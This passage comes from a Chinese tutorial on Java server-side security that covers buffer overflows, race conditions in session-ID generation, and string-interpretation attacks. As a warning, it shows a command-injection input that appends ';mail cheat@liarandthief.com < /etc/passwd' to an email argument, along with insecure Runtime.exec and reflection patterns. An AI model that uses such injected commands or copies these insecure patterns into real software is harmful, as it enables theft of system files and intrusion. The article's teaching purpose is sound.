Java服務器端編程安全必讀
更新時間: 2007-06-04 13:26:09來源: 粵嵌教育瀏覽量:530
一、概述
編寫安全的Internet應用并不是一件輕而易舉的事情:只要看看各個專業公告板就可以找到連續不斷的安全漏洞報告。你如何保證自己的Internet應用不象其他人的應用那樣滿是漏洞?你如何保證自己的名字不會出現在令人難堪的重大安全事故報道中?
如果你使用Java Servlet、JavaServer Pages(JSP)或者EJB,許多難以解決的問題都已經事先解決。當然,漏洞仍有可能出現。下面我們就來看看這些漏洞是什么,以及為什么Java程序員不必擔心部分C和Perl程序員必須面對的問題。
C程序員對安全漏洞應該已經很熟悉,但象OpenBSD之類的工程提供了處理此類問題的安全系統。Java語言處理這類問題的經驗要比C少20年,但另一方面,Java作為一種客戶端編程語言誕生,客戶端對安全的要求比服務器端苛刻得多。它意味著Java的發展有著一個穩固的安全性基礎。
Java原先的定位目標是瀏覽器。然而,瀏覽器本身所帶的Java虛擬機雖然很不錯,但卻并不完美。Sun的《Chronology of security-related bugs and issues》總結了運行時環境的漏洞發現歷史。我們知道,當Java用作服務器端編程語言時,這些漏洞不可能被用作攻擊手段。但即使Java作為客戶端編程語言,重大安全問題的數量也從1996年的6個(其中3個是相當嚴重的問題)降低到2000年的1個。不過,這種安全性的相對提高并不意味著Java作為服務器端編程語言已經安全,它只意味著攻擊者能夠使用的攻擊手段越來越受到限制。那么,究竟有哪些地方容易受到攻擊,其他編程語言又是如何面對類似問題的呢?
二、緩存溢出
在C程序中,緩存溢出是常見的安全隱患。緩存溢出在用戶輸入超過已分配內存空間(用戶輸入使用)時出現。緩存溢出可能成為導致應用被覆蓋的關鍵因素。C程序很容易出現緩存溢出,但Java程序幾乎不可能出現緩存溢出。
從輸入流讀取輸入數據的C代碼通常如下所示:
char buffer[1000];
int len = read(buffer);
由于緩存的大小在讀入數據之前確定,系統要檢查為輸入保留的緩存是否足夠是很困難的。緩存溢出使得用戶能夠覆蓋程序數據結構的關鍵部分,從而帶來了安全上的隱患。有經驗的攻擊者能夠利用這一點直接把代碼和數據插入到正在運行的程序。
在Java中,我們一般用字符串而不是字符數組保存用戶輸入。與前面C代碼等價的Java代碼如下所示:
String buffer = in.readLine();
在這里,“緩存”的大小總是和輸入內容的大小完全一致。由于Java字符串在創建之后不能改變,緩存溢出也就不可能出現。退一步說,即使用字符數組替代字符串作為緩存,Java也不象C那樣容易產生可被攻擊者利用的安全漏洞。例如,下面的Java代碼將產生溢出:
char[] bad = new char[6];
bad[7] = 50;這段代碼總是拋出一個java.lang.ArrayOutOfBoundsException異常,而該異常可以由程序自行捕獲:
try {
char[] bad = new char[6];
bad[7] = 50;
}
catch (ArrayOutOfBoundsException ex) {
... }
這種處理過程永遠不會導致不可預料的行為。無論用什么方法溢出一個數組,我們總是得到ArrayOutOfBoundsException異常,而Java運行時底層環境卻能夠保護自身免受任何侵害。一般而言,用Java字符串類型處理字符串時,我們無需擔心字符串的ArrayOutOfBoundsExceptions異常,因此它是一種較為理想的選擇。
Java編程模式從根本上改變了用戶輸入的處理方法,避免了輸入緩存溢出,從而使得Java程序員擺脫了危險的編程漏洞。
三、競爭狀態
競爭狀態即Race Condition,它是第二類常見的應用安全漏洞。在創建(更改)資源到修改資源以禁止對資源訪問的臨界時刻,如果某個進程被允許訪問資源,此時就會出現競爭狀態。這里的關鍵問題在于:如果一個任務由兩個必不可少的步驟構成,不管你多么想要讓這兩個步驟一個緊接著另一個執行,操作系統并不保證這一點。例如,在數據庫中,事務機制使得兩個獨立的事件“原子化”。換言之,一個進程創建文件,然后把這個文件的權限改成禁止常規訪問;與此同時,另外一個沒有特權的進程可以處理該文件,欺騙有特權的進程錯誤地修改文件,或者在權限設置完畢之后仍繼續對原文件進行訪問。
一般地,在標準Unix和NT環境下,一些高優先級的進程能夠把自己插入到任務的多個步驟之間,但這樣的進程在Java服務器上是不存在的;同時,用純Java編寫的程序也不可能修改文件的許可權限。因此,大多數由文件訪問導致的競爭狀態在Java中不會出現,但這并不意味著Java完全地擺脫了這個問題,只不過是問題轉到了虛擬機上。
我們來看看其他各種開發平臺如何處理這個問題。在Unix中,我們必須確保默認文件創建模式是安全的,比如在服務器啟動之前執行“umask 200”這個命令。有關umask的更多信息,請在Unix系統的命令行上執行“man umask”查看umask的man文檔。
在NT環境中,我們必須操作ACL(訪問控制表,Access Control List)的安全標記,保護要在它下面創建文件的目錄。NT的新文件一般從它的父目錄繼承訪問許可。請參見NT文檔了解更多信息。
Java中的競爭狀態大多數時候出現在臨界代碼區。例如,在用戶登錄過程中,系統要生成一個的數字作為用戶會話的標識符。為此,系統先產生一個隨機數字,然后在散列表之類的數據結構中檢查這個數字是否已經被其他用戶使用。如果這個數字沒有被其他用戶使用,則把它放入散列表以防止其他用戶使用。代碼如Listing 1所示:
(Listing 1)
// 保存已登錄用戶的ID
Hashtable hash;
// 隨機數字生成器
Random rand;
// 生成一個隨機數字
Integer id = new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 為當前用戶保留該ID
hash.put(id, data);
Listing 1的代碼可能帶來一個嚴重的問題:如果有兩個線程執行Listing 1的代碼,其中一個線程在hash.put(...)這行代碼之前被重新調度,此時同一個隨機ID就有可能被使用兩次。在Java中,我們有兩種方法解決這個問題。首先,Listing 1的代碼可以改寫成Listing 2的形式,確保只有一個線程能夠執行關鍵代碼段,防止線程重新調度,避免競爭狀態的出現。第二,如果前面的代碼是EJB服務器的一部分,我們有一個利用EJB服務器線程控制機制的ID服務。
(Listing 2)
synchronized(hash)
{
// 生成一個的隨機數字
Integer id =
new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 為當前用戶保留該ID
hash.put(id, data);
}
四、字符串解釋執行
在有些編程語言中,輸入字符串中可以插入特殊的函數,欺騙服務器使其執行額外的、多余的動作。下面的Perl代碼就是一個例子:
$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");
顯然,這些代碼可以作為CGI程序的一部分,或者也可以從命令行調用。通常,它可以按照如下方式調用:
perl script.pl honest@true.com
它將把一個郵件(即“mail body”)發送給用戶honest@true.com。這個例子雖然簡單,但我們卻可以按照如下方式進行攻擊:
perl script.pl honest@true.com;mail
cheat@liarandthief.com < /etc/passwd
這個命令把一個空白郵件發送給honest@true.com,同時又把系統密碼文件發送給了cheat@liarandthief.com。如果這些代碼是CGI程序的一部分,它會給服務器的安全帶來重大的威脅。
Perl程序員常常用外部程序(比如sendmail)擴充Perl的功能,以避免用腳本來實現外部程序的功能。然而,Java有著相當完善的API。比如對于郵件發送,JavaMail API就是一個很好的API。但是,如果你比較懶惰,想用外部的郵件發送程序發送郵件:
Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");
事實上這是行不通的。Java一般不允許把OS級“<”和“;”之類的構造符號作為Runtime.exec()的一部分。你可能會嘗試用下面的方法解決這個問題:
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");
但是,這種代碼是不安全的,它把前面Perl代碼面臨的危險帶入了Java程序。按照常規的Java方法解決問題有時看起來要比取巧的方法復雜一點,但它幾乎總是具有更好的可移植性、可擴展性,而且更安全、錯誤更少。Runtime.exec()只是該問題的一個簡單例子,其他許多情形更復雜、更隱蔽。
讓我們來考慮一下Java的映像API(Reflection API)。Java映像API允許我們在運行時決定調用對象的哪一個方法。任何由用戶輸入命令作為映像查找條件的時機都可能成為系統的安全弱點。例如,下面的代碼就有可能產生這類問題:
Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] {});
如果“action”的值允許用戶改變,這里就應該特別注意了。注意,這種現象可能會在一些令人奇怪的地方出現——或許令人奇怪的地方就是JSP。大多數JSP引擎用映像API實現下面的功能:
<jsp:setProperty name="bean" property="*" />
這個Bean的set方法應該特別注意,因為所有這些方法都可以被遠程用戶調用。例如,對于Listing 3的Bean和L